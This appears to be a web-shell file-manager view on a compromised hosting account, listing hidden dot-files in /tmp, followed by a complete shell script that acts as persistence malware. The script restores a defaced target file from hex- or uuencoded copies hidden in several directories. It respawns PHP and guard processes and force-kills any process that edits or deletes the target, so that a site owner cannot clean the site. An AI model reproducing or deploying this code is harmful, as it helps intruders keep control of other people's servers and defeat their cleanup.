Gecko [ avisosenacrilico.com.co ]

Name	Size	Permission	Date
.d171babddcd7738ec.dat	321 B	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738ed.log	111.66 MB	-rw-r--r--	2026-09-14 15:50
.d171babddcd7738efw.php	264 KB	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738ega.pid	7 B	-rw-r--r--	2026-09-14 15:50
.d171babddcd7738egb.pid	7 B	-rw-r--r--	2026-09-14 15:50
.d171babddcd7738egm.pid	7 B	-rw-r--r--	2026-09-14 15:50
.d171babddcd7738eidx.dat	6.44 KB	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738eidx.json	184 B	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738es.dat	13 B	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738ev.dat	588 B	-rw-r--r--	2026-09-08 16:32
.d171babddcd7738ew.sh	12.85 KB	-rwxr-xr-x	2026-09-08 16:32

Rename

#!/bin/sh
DETECT_SCRIPT='/tmp/as_d171babddcd7738e/.d171babddcd7738efw.php'
STRATEGY_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738es.dat'
CONFIG_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738ec.dat'
PID_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738ep.dat'
WORKER_POOL='/tmp/as_d171babddcd7738e/.d171babddcd7738ewp.dat'
GUARD_POOL='/tmp/as_d171babddcd7738e/.d171babddcd7738egp.dat'
SH_PID_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738esp.dat'
GUARD_A_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738ega.pid'
GUARD_B_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738egb.pid'
GUARD_M_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738egm.pid'
PA_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738epa.dat'
PB_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738epb.dat'
BASELINE_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738eidx.dat'
BASELINE_META='/tmp/as_d171babddcd7738e/.d171babddcd7738eidx.json'
VBL1='/tmp/.081c096c1f59'
VBL2='/home/avisosenacribj05/public_html/image/.wc_aa3b3b6c489c'
VBL3='/tmp/.d732251bc3ad'
VCFG1='/tmp/.9bb30fa65d42'
VCFG2='/home/avisosenacribj05/public_html/image/.wc_89ad95c45ec0'
VFW1='/tmp/.a812f29c3c98'
VFW2='/home/avisosenacribj05/public_html/image/.wc_d3267daf0dfe'
VFW3='/tmp/.d372e9d0ab21'
SH_SELF='/tmp/as_d171babddcd7738e/.d171babddcd7738ew.sh'
LOG_FILE='/tmp/as_d171babddcd7738e/.d171babddcd7738ed.log'
STAGGER=2
RESTORE_INTERVAL=2
PHASE_COUNT=9
MEM_LIMIT_KB=131072
MEM_CHECK_EVERY=30
PHP_BIN='/opt/alt/php83/usr/bin/lsphp'
PC='--d171babd'
PW='--dcd7738e'
PG='--d171babd-g'
EB='.d171babddcd7738efw.php'
SH_BASENAME="$(basename "$SH_SELF")"
RUNNING=1
trap "RUNNING=0" TERM INT
read_pid() {
  tr -dc '0-9' < "$1" 2>/dev/null | head -c 12
}
normalize_path() {
  printf '%s' "$1" | tr -d '\'
}
read_json_pid() {
  F="$1"
  [ -f "$F" ] || return 1
  P="$(grep -o '"pid"[[:space:]]*:[[:space:]]*[0-9]*' "$F" 2>/dev/null | head -1 | grep -o '[0-9]*$')"
  [ -n "$P" ] && echo "$P"
}
read_target() {
  [ -f "$CONFIG_FILE" ] || return 1
  T="$(grep -o '"target"[[:space:]]*:[[:space:]]*"[^"]*"' "$CONFIG_FILE" 2>/dev/null | head -1 | sed 's/.*:"$[^"]*$".*/\1/')"
  T="$(normalize_path "$T")"
  [ -n "$T" ] || return 1
  echo "$T"
}
decode_vault_copy() {
  VF="$1"
  OUT="$2"
  [ -f "$VF" ] && [ -s "$VF" ] || return 1
  FMT="$(head -c 1 "$VF" 2>/dev/null)"
  case "$FMT" in
    h)
      if command -v xxd >/dev/null 2>&1; then
        tail -n +2 "$VF" | tr -d "' \t\r\n'" | xxd -r -p > "$OUT" 2>/dev/null && return 0
      fi
      ;;
    u)
      if command -v uudecode >/dev/null 2>&1; then
        tail -n +2 "$VF" | uudecode -o "$OUT" 2>/dev/null && return 0
        tail -n +2 "$VF" | uudecode > "$OUT" 2>/dev/null && return 0
      fi
      ;;
  esac
  "$PHP_BIN" -r '$f=$argv[1];$o=$argv[2];$r=@file_get_contents($f);if(!is_string($r)||$r==="")exit(1);$p=strpos($r,"\n");if($r[0]==="h"&&$p!==false){$h=preg_replace("/\s+/","",substr($r,$p+1));$b=function_exists("hex2bin")?@hex2bin($h):@pack("H*",$h);}elseif($r[0]==="u"&&$p!==false&&function_exists("convert_uudecode")){$b=@convert_uudecode(substr($r,$p+1));}else{$b=$r;}$b=is_string($b)&&$b!==""&&@file_put_contents($o,$b)!==false?0:2;exit($b);' "$VF" "$OUT" 2>/dev/null && return 0
  cp -f "$VF" "$OUT" 2>/dev/null && return 0
  return 1
}
restore_from_vaults() {
  PRIMARY="$1"
  shift
  [ -f "$PRIMARY" ] && [ -s "$PRIMARY" ] && return 0
  for VF in "$@"; do
    [ -f "$VF" ] && [ -s "$VF" ] || continue
    if decode_vault_copy "$VF" "$PRIMARY"; then
      echo "$(date +%s) core_restored file=$PRIMARY from=$VF" >> "$LOG_FILE"
      return 0
    fi
  done
  return 1
}
ensure_core_files() {
  restore_from_vaults "$BASELINE_FILE" "$VBL1/.x1" "$VBL2/.x1" "$VBL3/.x1"
  restore_from_vaults "$BASELINE_META" "$VBL1/.x2" "$VBL2/.x2" "$VBL3/.x2"
  restore_from_vaults "$CONFIG_FILE" "$VCFG1/.x3" "$VCFG2/.x3"
  restore_from_vaults "$STRATEGY_FILE" "$VCFG1/.x4" "$VCFG2/.x4"
  restore_from_vaults "$DETECT_SCRIPT" "$VFW1/.x5" "$VFW2/.x5" "$VFW3/.x5"
}
mem_rss_kb() {
  grep VmRSS /proc/self/status 2>/dev/null | awk '{print $2}'
}
should_mem_restart() {
  MT="$1"
  [ "$MT" -gt 0 ] && [ $((MT % MEM_CHECK_EVERY)) -eq 0 ] || return 1
  RK="$(mem_rss_kb)"
  [ -n "$RK" ] && [ "$RK" -gt "$MEM_LIMIT_KB" ]
}
read_cmdline() {
  tr '\0' ' ' < "$1" 2>/dev/null
}
is_shell_cmd() {
  WP="$1"
  MODE="$2"
  [ -z "$WP" ] && return 1
  kill -0 "$WP" 2>/dev/null || return 1
  [ -r "/proc/$WP/cmdline" ] || return 1
  WC="$(read_cmdline "/proc/$WP/cmdline")"
  case "$WC" in *"$SH_BASENAME"*) ;; *) return 1 ;; esac
  case "$MODE" in
    main)
      case "$WC" in *__child__*) return 1 ;; esac
      return 0
      ;;
    child)
      case "$WC" in *__child__*) return 0 ;; esac
      return 1
      ;;
    *) return 0 ;;
  esac
}
collect_allow_pids() {
  ALLOW=""
  for F in "$PID_FILE" "$SH_PID_FILE" "$GUARD_A_FILE" "$GUARD_B_FILE" "$GUARD_M_FILE" "$PA_FILE" "$PB_FILE"; do
    P="$(read_pid "$F")"
    [ -z "$P" ] && P="$(read_json_pid "$F")"
    [ -n "$P" ] && ALLOW="$ALLOW $P"
  done
  if [ -f "$WORKER_POOL" ]; then
    for P in $(grep -o '"parent"[[:space:]]*:[[:space:]]*[0-9]*' "$WORKER_POOL" 2>/dev/null | grep -o '[0-9]*$'); do ALLOW="$ALLOW $P"; done
    for P in $(grep -o '"workers"[[:space:]]*:\[[^]]*\]' "$WORKER_POOL" 2>/dev/null | tr -cd '0-9\n'); do
      [ -n "$P" ] && ALLOW="$ALLOW $P"
    done
  fi
  if [ -f "$GUARD_POOL" ]; then
    for P in $(grep -o '"parent"[[:space:]]*:[[:space:]]*[0-9]*' "$GUARD_POOL" 2>/dev/null | grep -o '[0-9]*$'); do ALLOW="$ALLOW $P"; done
    for P in $(grep -o '"guards"[[:space:]]*:\[[^]]*\]' "$GUARD_POOL" 2>/dev/null | tr -cd '0-9\n'); do
      [ -n "$P" ] && ALLOW="$ALLOW $P"
    done
  fi
  echo "$ALLOW"
}
is_allow_pid() {
  AP="$1"
  for A in $(collect_allow_pids); do
    [ "$A" = "$AP" ] && return 0
  done
  return 1
}
is_protected_cmd() {
  case "$1" in *php-fpm*|*php-fcgi*|*nginx*) return 0 ;; esac
  return 1
}
is_fd_writable() {
  P="$1"
  F="$2"
  FI="/proc/$P/fdinfo/$F"
  [ -r "$FI" ] || return 1
  FL=$(grep -m1 flags "$FI" 2>/dev/null | awk '{print $2}')
  [ -z "$FL" ] && return 1
  M=$((FL & 3))
  [ "$M" -ne 0 ]
}
is_threat_cmd() {
  _TC="$1"
  case "$_TC" in *"$TARGET_REAL"*|*"$TARGET_BASE"*) ;; *) return 1 ;; esac
  case "$_TC" in *php-fpm*|*php-fcgi*|*nginx*|*"$EB"*|*"$PW"*|*"$PC"*|*"$PG"*|*Framework.php*|*framework.php*|*fw.php*|*__child__*|*__guard__*|*"$SH_BASENAME"*) return 1 ;; esac
  case "$_TC" in *vim*|*nano*|*"vi "*|*nvim*|*sed\ -i*|*tee*|*"rm "*|*"rm-"*|*unlink*|*shred*|*truncate*|*echo*|*printf*|*mv\ *|*cp\ *|*dd\ *|*php\ -r*) return 0 ;; esac
  echo "$_TC" | grep -Eq 'cat[[:space:]]+>' && return 0
  echo "$_TC" | grep -Fq '>>' && return 0
  echo "$_TC" | grep -Fq ">$TARGET_REAL" && return 0
  echo "$_TC" | grep -Fq ">>$TARGET_REAL" && return 0
  echo "$_TC" | grep -Fq ">$TARGET_BASE" && return 0
  echo "$_TC" | grep -Fq ">>$TARGET_BASE" && return 0
  return 1
}
sh_kill_pid() {
  KP="$1"
  case "$KP" in ""|*[!0-9]*) return 0 ;; esac
  [ "$KP" -le 1 ] && return 0
  is_allow_pid "$KP" && return 0
  CMDK=""
  [ -r "/proc/$KP/cmdline" ] && CMDK="$(read_cmdline "/proc/$KP/cmdline")"
  is_protected_cmd "$CMDK" && return 0
  kill -9 "$KP" 2>/dev/null && echo "$(date +%s) sh_kill pid=$KP target=$TARGET_REAL" >> "$LOG_FILE"
}
kill_index_threats(){
  T="$(read_target)" || return 0
  if [ -f "$T" ]; then TARGET_REAL="$(readlink -f "$T" 2>/dev/null || echo "$T")"; else TARGET_REAL="$T"; fi
  [ -n "$TARGET_REAL" ] || return 0
  TARGET_BASE="$(basename "$TARGET_REAL")"
  if command -v ps >/dev/null 2>&1; then
    ps -eo pid=,args= 2>/dev/null | grep -F "$TARGET_BASE" | grep -v grep | while read _SPID _SREST; do
      is_allow_pid "$_SPID" && continue
      _SCMD="$_SPID $_SREST"
      _SCMD="${_SCMD#$_SPID }"
      is_protected_cmd "$_SCMD" && continue
      is_threat_cmd "$_SCMD" && sh_kill_pid "$_SPID"
    done
  fi
  for _P in /proc/[0-9]*; do
    PID="${_P#/proc/}"
    is_allow_pid "$PID" && continue
    CMD=""; [ -r "$_P/cmdline" ] && CMD="$(read_cmdline "$_P/cmdline")"
    is_protected_cmd "$CMD" && continue
    for _FD in "$_P"/fd/*; do
      LINK="$(readlink "$_FD" 2>/dev/null)" || continue
      case "$LINK" in *"(deleted)") sh_kill_pid "$PID"; break;; esac
      case "$LINK" in "$TARGET_REAL")
        FDB="$(basename "$_FD")"
        is_fd_writable "$PID" "$FDB" || continue
        sh_kill_pid "$PID"
        break
      ;; esac
    done
    is_threat_cmd "$CMD" && sh_kill_pid "$PID"
  done
}
is_php_main_alive() {
  P="$1"
  MODE="$2"
  [ -n "$P" ] || return 1
  kill -0 "$P" 2>/dev/null || return 1
  if [ -r "/proc/$P/cmdline" ]; then
    C="$(read_cmdline "/proc/$P/cmdline")"
  elif command -v ps >/dev/null 2>&1; then
    C="$(ps -p "$P" -o args= 2>/dev/null | sed 's/^[[:space:]]*//')"
  else
    return 1
  fi
  [ -n "$C" ] || return 1
  case "$C" in *"$EB"*|*fw.php*) ;; *) return 1 ;; esac
  case "$C" in *"$MODE"*) return 0 ;; esac
  return 1
}
start_php_main() {
  MODE="$1"
  if [ ! -f "$DETECT_SCRIPT" ]; then
    echo "$(date +%s) php_main_skip missing_detect script=$DETECT_SCRIPT" >> "$LOG_FILE"
    return 1
  fi
  if command -v nohup >/dev/null 2>&1; then
    nohup "$PHP_BIN" "$DETECT_SCRIPT" "$MODE" >>"$LOG_FILE" 2>&1 &
  else
    "$PHP_BIN" "$DETECT_SCRIPT" "$MODE" >>"$LOG_FILE" 2>&1 &
  fi
  echo "$(date +%s) php_main_spawn mode=$MODE bg=$!" >> "$LOG_FILE"
  sleep "$STAGGER"
}
ensure_php_main() {
  SLOT="$1"
  if [ "$SLOT" = "A" ]; then PF="$PA_FILE"; MODE="$PW"; else PF="$PB_FILE"; MODE="$PC"; fi
  P="$(read_json_pid "$PF")"
  [ -z "$P" ] && P="$(read_pid "$PF")"
  if is_php_main_alive "$P" "$MODE"; then return 0; fi
  start_php_main "$MODE"
}
ensure_shell_main() {
  P="$(read_pid "$SH_PID_FILE")"
  if is_shell_cmd "$P" main; then return 0; fi
  if command -v nohup >/dev/null 2>&1; then
    nohup /bin/sh "$SH_SELF" >>"$LOG_FILE" 2>&1 &
  else
    /bin/sh "$SH_SELF" >>"$LOG_FILE" 2>&1 &
  fi
  sleep 1
}
restore_baseline_if_changed(){
  ensure_core_files
  T="$(read_target)" || { echo "$(date +%s) baseline_skip read_target_failed" >> "$LOG_FILE"; return 0; }
  [ -f "$BASELINE_FILE" ] || { echo "$(date +%s) baseline_skip missing_baseline" >> "$LOG_FILE"; return 0; }
  if [ -f "$T" ]; then TARGET_REAL="$(readlink -f "$T" 2>/dev/null || echo "$T")"; else TARGET_REAL="$T"; fi
  TARGET_REAL="$(normalize_path "$TARGET_REAL")"
  [ -n "$TARGET_REAL" ] || return 0
  if [ ! -f "$TARGET_REAL" ]; then cp "$BASELINE_FILE" "$TARGET_REAL" 2>/dev/null && echo "$(date +%s) baseline_created path=$TARGET_REAL" >> "$LOG_FILE"; return 0; fi
  if command -v md5sum >/dev/null 2>&1; then
    CUR="$(md5sum "$TARGET_REAL" 2>/dev/null | awk '{print $1}')"
    BASE="$(md5sum "$BASELINE_FILE" 2>/dev/null | awk '{print $1}')"
  else
    CUR="$(cksum "$TARGET_REAL" 2>/dev/null | awk '{print $1}')"
    BASE="$(cksum "$BASELINE_FILE" 2>/dev/null | awk '{print $1}')"
  fi
  [ -n "$CUR" ] && [ -n "$BASE" ] && [ "$CUR" = "$BASE" ] && return 0
  if [ -z "$CUR" ] || [ -z "$BASE" ]; then
    echo "$(date +%s) baseline_skip md5_empty cur=$CUR base=$BASE path=$TARGET_REAL" >> "$LOG_FILE"
    return 1
  fi
  chmod u+w "$TARGET_REAL" 2>/dev/null
  if cp -f "$BASELINE_FILE" "$TARGET_REAL" 2>>"$LOG_FILE"; then
    echo "$(date +%s) baseline_restored path=$TARGET_REAL" >> "$LOG_FILE"
  else
    echo "$(date +%s) baseline_restore_failed path=$TARGET_REAL" >> "$LOG_FILE"
    return 1
  fi
  kill_index_threats
}
find_shell_child_pid() {
  ROLE="$1"
  if ! command -v ps >/dev/null 2>&1; then return 1; fi
  ps -eo pid=,args= 2>/dev/null | grep -F "$SH_BASENAME" | grep -F "__child__" | grep -E " ${ROLE}( |$)" | head -1 | awk '{print $1}'
}
spawn_shell_child() {
  ROLE="$1"
  /bin/sh "$SH_SELF" __child__ "$ROLE" >>"$LOG_FILE" 2>&1 &
}
ensure_shell_child() {
  ROLE="$1"
  MY="$2"
  P="$(find_shell_child_pid "$ROLE")"
  [ -z "$P" ] && P="$(read_pid "$MY")"
  if [ -n "$P" ] && is_shell_cmd "$P" child; then
    echo "$P" > "$MY"
    return 0
  fi
  spawn_shell_child "$ROLE"
  sleep "$STAGGER"
}
child_loop(){
  ROLE="$1" MY="$2" PHASE="$3"
  echo $$ > "$MY"
  [ "$PHASE" -gt 0 ] && sleep $((PHASE * STAGGER))
  TICK=0
  while [ "$RUNNING" -eq 1 ]; do
    echo $$ > "$MY"
    if should_mem_restart "$TICK"; then exit 0; fi
    case "$ROLE" in
      md5) restore_baseline_if_changed ;;
      php-a) ensure_php_main A ;;
      php-b) ensure_php_main B ;;
    esac
    TICK=$((TICK + 1))
    sleep "$RESTORE_INTERVAL"
  done
  exit 0
}
if [ "$1" = "__child__" ]; then
  case "$2" in
    php-a) child_loop php-a "$GUARD_A_FILE" 6 ;;
    php-b) child_loop php-b "$GUARD_B_FILE" 7 ;;
    md5) child_loop md5 "$GUARD_M_FILE" 8 ;;
  esac
  exit 0
fi
if [ -f "$SH_PID_FILE" ]; then
  OPID="$(read_pid "$SH_PID_FILE")"
  if is_shell_cmd "$OPID" main; then exit 0; fi
  rm -f "$SH_PID_FILE"
fi
echo $$ > "$SH_PID_FILE"
TICK=0
while [ "$RUNNING" -eq 1 ]; do
  if should_mem_restart "$TICK"; then exit 0; fi
  ensure_shell_child php-a "$GUARD_A_FILE"
  ensure_shell_child php-b "$GUARD_B_FILE"
  ensure_shell_child md5 "$GUARD_M_FILE"
  ensure_php_main A
  ensure_php_main B
  ensure_core_files
  restore_baseline_if_changed
  if [ $((TICK % PHASE_COUNT)) -eq 5 ]; then kill_index_threats; fi
  TICK=$((TICK + 1))
  sleep "$RESTORE_INTERVAL"
done